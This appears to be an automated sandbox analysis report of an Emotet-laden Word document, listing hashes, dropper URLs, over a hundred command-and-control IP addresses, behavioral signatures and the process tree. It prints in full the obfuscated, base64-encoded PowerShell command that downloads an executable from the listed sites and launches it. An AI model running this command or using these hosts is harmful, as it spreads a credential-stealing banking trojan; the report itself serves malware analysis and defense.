emotet | ec1dc5c0b7d3efcb9ef07714ef2fb22a899caeadab5d1dc2cea4f7bb9853b3b5

Analysis

max time kernel
136s
max time network
146s
platform
windows10_x64
resource
win10
submitted
21/10/2020, 00:24

Sharing

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General

Target
emotet_e1_ec1dc5c0b7d3efcb9ef07714ef2fb22a899caeadab5d1dc2cea4f7bb9853b3b5_2020-10-21__002149081102._doc.doc
Size 176KB
Sample201021-txrl6snql6
SHA256 ec1dc5c0b7d3efcb9ef07714ef2fb22a899caeadab5d1dc2cea4f7bb9853b3b5
MD5 7411487face60221d6077f3ff03e132e
SHA1 159776b4e5c3590f0fd7468567d6da418b7aae25
SHA512 0ef574f2b61f760c8ce8668d8d1f97b2ba35f2cb3455d208f5018187a9adc80a0699f0e5c4bfe176bf5c13e554f68ac7f8ce6914426adb6c6a75a5e19c049f31
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://keishixx.com/apc/ew5/
exe.dropper
http://zylko.com/wp-admin/SD/
exe.dropper
http://kyleesbirthdaybash.com/wp-includes/Sco/
exe.dropper
https://kbpatinhaus.com/wp-includes/5r/
exe.dropper
http://almaart.ir/wp-ontent/7pp/
exe.dropper
https://premiumnitrilegloves.com/wp-content/7/
exe.dropper
http://mommafi.com/wp-includes/S/

Extracted

Family

emotet

Botnet

Epoch1

173.68.199.157:80
59.148.253.194:8080
173.212.197.71:8080
98.103.204.12:443
2.45.176.233:80
45.33.77.42:8080
181.58.181.9:80
219.92.13.25:80
12.163.208.58:80
2.85.9.41:8080
172.104.169.32:8080
149.202.72.142:7080
189.223.16.99:80
216.47.196.104:80
191.97.154.2:80
213.197.182.158:8080
94.176.234.118:443
46.105.114.137:8080
177.144.130.105:8080
174.118.202.24:443
37.179.145.105:80
98.13.75.196:80
46.101.58.37:8080
60.93.23.51:80
128.92.203.42:80
186.189.249.2:80
192.232.229.54:7080
5.196.35.138:7080
188.135.15.49:80
103.236.179.162:80
68.183.170.114:8080
62.84.75.50:80
213.52.74.198:80
5.189.178.202:8080
81.215.230.173:443
183.176.82.231:80
74.135.120.91:80
50.28.51.143:8080
105.209.235.113:8080
79.118.74.90:80
188.157.101.114:80
104.131.41.185:8080
185.94.252.27:443
77.238.212.227:80
189.2.177.210:443
12.162.84.2:8080
77.78.196.173:443
178.211.45.66:8080
192.81.38.31:80
209.236.123.42:8080
51.15.7.189:80
201.71.228.86:80
212.71.237.140:8080
177.74.228.34:80
181.30.61.163:443
70.32.84.74:8080
192.241.143.52:8080
109.190.35.249:80
172.86.186.21:8080
138.97.60.141:7080
201.213.177.139:80
51.255.165.160:8080
24.232.228.233:80
138.97.60.140:8080
186.103.141.250:443
191.182.6.118:80
181.56.32.36:80
177.23.7.151:80
87.106.46.107:8080
177.129.17.170:443
46.43.2.95:8080
45.46.37.97:80
1.226.84.243:8080
190.190.219.184:80
191.191.23.135:80
217.13.106.14:8080
37.187.161.206:8080
177.73.0.98:443
51.15.7.145:80
190.115.18.139:8080
178.250.54.208:8080
85.214.26.7:8080
37.183.81.217:80
152.169.22.67:80
68.183.190.199:8080
190.188.245.242:80
111.67.12.221:8080
175.143.12.123:8080
70.169.17.134:80
202.134.4.210:7080
188.251.213.180:80
185.94.252.12:80
190.24.243.186:80
181.129.96.162:8080
181.61.182.143:80
82.76.111.249:443
177.144.130.105:443
200.127.14.97:80
51.75.33.127:80
64.201.88.132:80
5.89.33.136:80
186.222.250.115:8080
70.32.115.157:8080
185.183.16.47:80
109.190.249.106:80
74.58.215.226:80
186.70.127.199:8090
83.169.21.32:7080
170.81.48.2:80
137.74.106.111:7080
181.123.6.86:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2616	1072	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1232-13-0x0000000002190000-0x00000000021A8000-memory.dmp	emotet
behavioral2/memory/1232-12-0x0000000002170000-0x0000000002189000-memory.dmp	emotet
behavioral2/memory/3996-16-0x0000000002070000-0x0000000002089000-memory.dmp	emotet
behavioral2/memory/3996-17-0x0000000002090000-0x00000000020A8000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	2616	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1232	O37vszxmg.exe
3996	wwapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\iprtrmgr\wwapi.exe	O37vszxmg.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2616	POwersheLL.exe
2616	POwersheLL.exe
2616	POwersheLL.exe
3996	wwapi.exe
3996	wwapi.exe
3996	wwapi.exe
3996	wwapi.exe
3996	wwapi.exe
3996	wwapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
3920	WINWORD.EXE
1232	O37vszxmg.exe
3996	wwapi.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1232 wrote to memory of 3996	1232	O37vszxmg.exe	83
PID 1232 wrote to memory of 3996	1232	O37vszxmg.exe	83
PID 1232 wrote to memory of 3996	1232	O37vszxmg.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ec1dc5c0b7d3efcb9ef07714ef2fb22a899caeadab5d1dc2cea4f7bb9853b3b5_2020-10-21__002149081102._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD UwBFAHQALQBpAFQARQBNACAAVgBBAFIASQBhAEIAbABlADoAOAA0AGIAbgAwACAAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAIAAnAFQAZQBtAC4AJwAsACcAUwB5AFMAJwAsACcAaQBvAC4AZABJAHIAJwAsACcAZQBDAHQAbwBSAHkAJwApACAAIAApACAAOwAgACAAIAAkAFQANQBvAGIAeQA0AD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADUAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACAAJwBuAFQAJwAsACcAVAAuACcALAAnAHMARQBSAFYAaQBjAEUAUABvAGkAJwAsACcAUgAnACwAJwBtAEEAbgBhAEcARQAnACwAJwBTAHkAUwB0AEUATQAuAG4ARQAnACkAIAAgADsAIAAgACQASgBzAGUAZQAzAHQAYwA9ACgAJwBMACcAKwAoACcAegB0AGgAJwArACcAbwAxAHUAJwApACkAOwAkAE0AMwA4AHIAcwB2AGMAPQAkAEYAZAA5ADQANgBzAGEAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAE0AdABlADQAawA5ADgAOwAkAFEAeABlAF8AcgAwAHMAPQAoACgAJwBDADMAdgAnACsAJwB0ADIAJwApACsAJwB6ACcAKwAnADkAJwApADsAIAAoAEkAdABFAE0AIAAgAHYAYQBSAGkAQQBiAGwAZQA6ADgANABiAG4AMAApAC4AVgBBAEwAdQBFADoAOgAiAGMAYABSAEUAYABBAFQAYABFAGQASQBSAEUAYwBUAG8AUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFgAOQAnACsAKAAnAHgAQgBmADUAYQAnACsAJwBoACcAKQArACgAJwBqADcAWAAnACsAJwA5AHgAJwArACcAQgAnACkAKwAoACcAcwAnACsAJwBuAHkAbAAnACkAKwAoACcANwBlAFgAOQAnACsAJwB4ACcAKQApACAAIAAtAEMAcgBlAFAATABhAEMARQAgACAAKABbAEMASABhAFIAXQA4ADgAKwBbAEMASABhAFIAXQA1ADcAKwBbAEMASABhAFIAXQAxADIAMAApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAWQB6AHEAaAA5AGwAcQA9ACgAJwBNAHgAJwArACcAeQAnACsAKAAnAGkAcAAnACsAJwBqADMAJwApACkAOwAgACAAKABMAHMAIAAoACIAVgBBAHIAaQBhAEIAIgArACIAbAAiACsAIgBlADoAVAA1AE8AIgArACIAYgBZADQAIgApACkALgB2AGEAbABVAEUAOgA6ACIAcwBlAGAAQwB1AGAAUgBJAHQAWQBwAFIATwBgAFQATwBjAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADAAdAAzAHcAdQBoAD0AKAAoACcAUAAnACsAJwBwADEAZAAnACkAKwAoACcAOAByACcAKwAnADIAJwApACkAOwAkAFQAbQA2AGcAawB5AHYAIAA9ACAAKAAnAE8AMwAnACsAKAAnADcAdgAnACsAJwBzACcAKQArACgAJwB6AHgAbQAnACsAJwBnACcAKQApADsAJABOADUAawBrAGUANQBfAD0AKAAnAFQAJwArACgAJwA0AGYAZwAnACsAJwAyAG8AJwApACsAJwBzACcAKQA7ACQAUQB0AHcAbQA5AGEANwA9ACgAJwBSAHgAJwArACcAbwBnACcAKwAoACcAYQBjACcAKwAnAGwAJwApACkAOwAkAEcAawBvAF8AMAB6AHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAMQAnACsAKAAnAGEAJwArACcARQBCAGYAJwApACsAKAAnADUAYQBoAGoAJwArACcANwAnACkAKwAoACcAMQBhACcAKwAnAEUAJwApACsAJwBCAHMAJwArACgAJwBuAHkAJwArACcAbAA3AGUAMQBhAEUAJwApACkALgAiAFIAZQBQAGAAbABBAGMAZQAiACgAKAAnADEAYQAnACsAJwBFACcAKQAsAFsAUwB0AHIAaQBOAEcAXQBbAEMASABBAHIAXQA5ADIAKQApACsAJABUAG0ANgBnAGsAeQB2ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAUABtAGIAbgAwAGwAbAA9ACgAJwBDADUAJwArACgAJwAyACcAKwAnADAAeABvAGEAJwApACkAOwAkAFEAagB0AHcAOQB6ADcAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBlAEIAYwBsAGkARQBuAFQAOwAkAFoANwAxADcAcgB3AHoAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwBrACcAKQArACcAZQBpACcAKwAoACcAcwBoACcAKwAnAGkAJwApACsAKAAnAHgAeAAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGEAcAAnACsAJwBjACcAKQArACgAJwAvACcAKwAnAGUAdwA1AC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAnACsAJwAvAHoAeQBsACcAKwAnAGsAbwAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAKAAnAC8AUwBEAC8AKgAnACsAJwBoACcAKQArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAGsAeQAnACsAKAAnAGwAJwArACcAZQBlACcAKQArACcAcwAnACsAJwBiACcAKwAoACcAaQAnACsAJwByAHQAaAAnACkAKwAnAGQAYQAnACsAKAAnAHkAYgBhAHMAaAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACkAKwAoACcAUwAnACsAJwBjAG8ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAOgAvAC8AawBiAHAAJwArACcAYQAnACkAKwAnAHQAaQAnACsAKAAnAG4AJwArACcAaABhAHUAJwApACsAJwBzACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBpACcAKQArACcAbgBjACcAKwAnAGwAdQAnACsAKAAnAGQAJwArACcAZQBzAC8ANQAnACsAJwByACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGEAbABtACcAKwAnAGEAYQAnACsAJwByAHQALgAnACsAJwBpAHIALwAnACkAKwAoACcAdwBwAC0AJwArACcAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAbgB0AC8AJwArACcANwBwACcAKQArACcAcAAnACsAJwAvACoAJwArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6AC8AJwArACcALwBwACcAKwAoACcAcgBlACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAdQBtAG4AJwApACsAJwBpACcAKwAnAHQAcgAnACsAKAAnAGkAbAAnACsAJwBlAGcAJwArACcAbABvAHYAJwApACsAKAAnAGUAJwArACcAcwAuACcAKQArACcAYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtACcAKQArACcAYwBvACcAKwAoACcAbgB0AGUAJwArACcAbgB0ACcAKQArACgAJwAvADcAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG0AJwApACsAKAAnAG8AbQBtAGEAJwArACcAZgAnACkAKwAoACcAaQAnACsAJwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtAGkAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AUwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAVAAiACgAJABDAGwAYwBlADEANgBtACAAKwAgACQATQAzADgAcgBzAHYAYwAgACsAIAAkAFkAcAB3AHIAcAA1AGQAKQA7ACQATQA5AHcAcABtAGYAaAA9ACgAKAAnAEYAMQBqACcAKwAnAGUAJwApACsAKAAnAGsAOQAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGEAOQBfADAAbABoACAAaQBuACAAJABaADcAMQA3AHIAdwB6ACkAewB0AHIAeQB7ACQAUQBqAHQAdwA5AHoANwAuACIAZABPAHcAbgBsAE8AYABBAGAAZABGAGAAaQBMAEUAIgAoACQAUwBhADkAXwAwAGwAaAAsACAAJABHAGsAbwBfADAAegB0ACkAOwAkAFEAOABkAHoAXwBoAHIAPQAoACgAJwBaAHUAJwArACcAcAAnACkAKwAoACcAdQAxACcAKwAnADUAcgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAGsAbwBfADAAegB0ACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADcANwA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAzADIAXwBQACcAKwAnAHIAJwApACsAJwBvACcAKwAnAGMAJwArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBDAFIAZQBgAEEAVABFACIAKAAkAEcAawBvAF8AMAB6AHQAKQA7ACQAQgByAHoANAB3AGYAMAA9ACgAJwBVACcAKwAoACcANwBhACcAKwAnAHYAaQBoAGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANgB0ADEAbwB5AGsAPQAoACcAVwBxACcAKwAnADMAJwArACgAJwAyAHgAJwArACcAdgBvACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAG8AaAByAHUAcgBhAD0AKAAnAEQAJwArACgAJwB2AGkAJwArACcAbAByACcAKwAnAGYAMgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\SysWOW64\iprtrmgr\wwapi.exe
  "C:\Windows\SysWOW64\iprtrmgr\wwapi.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3996

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1232-12-0x0000000002170000-0x0000000002189000-memory.dmp

Download

memory/1232-13-0x0000000002190000-0x00000000021A8000-memory.dmp

Download

memory/2616-8-0x000002A51EAB0000-0x000002A51EAB1000-memory.dmp

Download

memory/2616-7-0x00007FFCF8DF0000-0x00007FFCF97DC000-memory.dmp

Download

memory/2616-9-0x000002A51EBE0000-0x000002A51EBE1000-memory.dmp

Download

memory/3920-5-0x0000015D95DAC000-0x0000015D95DB5000-memory.dmp

Download

memory/3920-0-0x00007FFD00420000-0x00007FFD00AE6000-memory.dmp

Download

memory/3920-6-0x0000015D95DAC000-0x0000015D95DB5000-memory.dmp

Download

memory/3920-4-0x0000015D95DAC000-0x0000015D95DB5000-memory.dmp

Download

memory/3920-3-0x0000015D95DAC000-0x0000015D95DB5000-memory.dmp

Download

memory/3920-2-0x0000015D95D0B000-0x0000015D95D10000-memory.dmp

Download

memory/3920-1-0x0000015D95D0B000-0x0000015D95D10000-memory.dmp

Download

memory/3996-16-0x0000000002070000-0x0000000002089000-memory.dmp

Download

memory/3996-17-0x0000000002090000-0x00000000020A8000-memory.dmp

Download